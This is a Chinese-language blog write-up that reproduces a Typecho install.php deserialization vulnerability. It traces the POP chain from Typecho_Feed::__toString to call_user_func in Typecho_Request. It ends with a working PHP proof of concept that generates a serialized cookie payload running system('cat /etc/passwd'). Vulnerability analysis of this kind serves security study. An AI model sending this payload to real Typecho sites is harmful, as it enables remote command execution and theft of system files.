漏洞复现|Typecho反序列化漏洞getshell

0x01 漏洞前瞻

漏洞条件:

  • Typecho version < 15.5.12

复现环境:

  • apache2.4.41
  • PHP7.4.3
  • linux5.4.0-40

0x02 漏洞分析

先找出install.php中的漏洞点,搜索unserialize()函数,230-235行

1
2
3
4
5
6
7
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

参数被反序列化为数组之后先被赋给$config变量,然后再将其成员作为Typecho_Db类的参数,跟进这个类看一下,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;

/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}

$this->_prefix = $prefix;

/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();

//实例化适配器对象
$this->_adapter = new $adapterName();
}

$config['adapter']这个成员首先会被当做字符串使用,然后会使用它来new一个新的对象

所以这个过程中,虽然没有可以控制参数的危险函数,但是$config['adapter']中的类一定会被触发的魔术方法有:

1
2
3
__toString()
__construct()
__destruct()

反序列化的参数来自于Typecho_Cookie::get(),看方法名猜测可控,跟进去查看一下,进入Typecho_Cookie类中

1
2
3
4
5
6
7
   private static $_prefix = ''
public static function get($key, $default = NULL)
{
$key = self::$_prefix . $key;
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
return is_array($value) ? $default : $value;
}

可以看出返回值来自$_COOKIE['__typecho_config']$_POST['__typecho_config'],这都属于我们可控的内容

然后返回来,查看如何才能使反序列化被执行:

1
2
3
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}

$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}

if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}

需要给定一个finish参数,Referer给定本站url,并且在cookie中指定__typecho_conig,都很容易实现

0x02 POP链的寻找

__construct一般来说是不利用的,因为一般来说无法控制参数,所以主要顺着思路在范围内查找包含__toString()``__destruct()方法的类,看是否有可以利用的POP链

查找了一圈__destruct,并没有发现能够利用的链。

最后在Feed.php中找到了一个也许能够利用的__toString方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public function __toString(){
......
else if (self::RSS2 == $this->_type) {
$result .= '<rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:wfw="http://wellformedweb.org/CommentAPI/">
<channel>' . self::EOL;

$content = '';
$lastUpdate = 0;

foreach ($this->_items as $item) {
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
......

}

$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;中调用了$item[‘author’]的screenName属性,而$item数组则是来自于属性$this->_items数组中的一个成员

想着如果控制$item[‘author’],也许能够触发__get方法,于是思路变为寻找可利用的__get方法

在Typecho/Request.php中找到了一个

1
2
3
4
public function __get($key)
{
return $this->get($key);
}

跟进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}

$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

可控的$this->_params[‘$key’]被赋给了$value,而$value被用作参数,跟进去看方法内有没有可以利用的点

1
2
3
4
5
6
7
8
9
10
11
12
13
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}

$this->_filter = array();
}

return $value;
}

危险函数call_user_func,参数$value可控,$filter可控

梳理一下,大致的pop链

1
2
3
4
5
array $config

class Typecho_Feed->__toString()

class Typecho_Request -> __get() -> get() -> _applyFilter()

0x03 POC编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php 
class Typecho_Request{

private $_params = array();
private $_filter = array();

public function __construct(){
$this->_params['screenName'] = "cat /etc/passwd";
$this->_filter[] = "system";
}

}

class Typecho_Feed{

private $_type;
const RSS2 = 'RSS 2.0';
private $_items = array();

public function __construct(){
$this->_type = self::RSS2;
$this->_items[] = array(
"title" => "a",
"link" => "b",
"date" => "c",
"author" => new Typecho_Request(),
'category' => array(new Typecho_Request())
);
}

}
$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'a'
);

echo base64_encode(serialize($exp));